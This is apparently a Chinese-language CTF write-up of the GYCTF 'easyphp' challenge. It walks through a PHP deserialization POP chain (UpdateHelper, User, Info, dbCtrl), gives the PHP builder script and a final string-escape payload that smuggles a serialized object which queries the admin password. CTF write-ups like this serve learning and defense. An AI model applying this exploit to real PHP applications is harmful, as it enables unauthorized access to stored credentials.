GYCTF easyphp 【反序列化配合字符逃逸】

基础知识可以参考我之前写的那个 0CTF 2016 piapiapia  那个题只是简单记录了一下，学习了一下php反序列化的思路

https://www.cnblogs.com/tiaopidejun/p/12345080.html

这道题自己搞一下：

主要是构造pop链，

大概的思路，如果找到序列化和反序列化的点，跟进调用的方法，在源码中寻找可以被我们利用getshell的点。

开始：

先是发现

跟进getNewInfo

发现update调用，继续跟进UpdateHelper

发现会直接调用魔法函数__destruct，同时这里echo字符串，会触发__ toString

找一下有没有__toString

但是这个没有什么利用点

但我们发现有个call可以被我们利用

总结pop链思路：
Up类触发__destruct(),然后会输出字符串触发User类的__toString(),
这里使User类调用Info里的nickname 因为Info里面没有__destruct从而触发__call将sql语句带入查询

构造pop链：

如何构造pop链----学习链接：https://www.cnblogs.com/iamstudy/articles/php_object_injection_pop_chain.html

<?php

class User

{

    public $id;

    public $age=null;

    public $nickname=null;

}

class Info

{

    public $age;

    public $nickname;

    public $CtrlCase;

    public function __construct($age,$nickname){

        $this->age=$age;

        $this->nickname=$nickname;

    }   

}

class UpdateHelper

{

    public $id;

    public $newinfo;

    public $sql;

}

class dbCtrl

{

    public $hostname="127.0.0.1";

    public $dbuser="root";

    public $dbpass="root";

    public $database="test";

    public $name='admin';

    public $password;

    public $mysqli;

    public $token;

}

$a=new dbCtrl();

$b=new Info('','1');

$c=new User();

$d=new UpdateHelper();

$a->token='admin';

$b->CtrlCase=$a;

$c->nickname=$b;

$c->age="select password,id from user where username=?";

$d->sql=$c;

echo serialize($d);

?>

最后根据safe那个函数的规格，再构造出逃逸字符的payload

''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''unionunionunion ";s:8:"CtrlCase";O:12:"UpdateHelper":3:{s:2:"id";N;s:7:"newinfo";N;s:3:"sql";O:4:"User":3:{s:2:"id";N;s:3:"age";s:45:"select password,id from user where username=?";s:8:"nickname";O:4:"Info":3:{s:3:"age";s:0:"";s:8:"nickname";s:1:"";s:8:"CtrlCase";O:6:"dbCtrl":8:{s:8:"hostname";s:9:"127.0.0.1";s:6:"dbuser";s:4:"root";s:6:"dbpass";s:4:"root";s:8:"database";s:4:"test";s:4:"name";s:5:"admin";s:8:"password";N;s:6:"mysqli";N;s:5:"token";s:5:"admin";}}}}

原本构造出的字符数是453，所以可以选择90个 '  和3个union 达到让payload逃逸出来.....

这个题学到不少东西，尤其是pop链构造....，感觉主要还是要理顺整个利用的过程.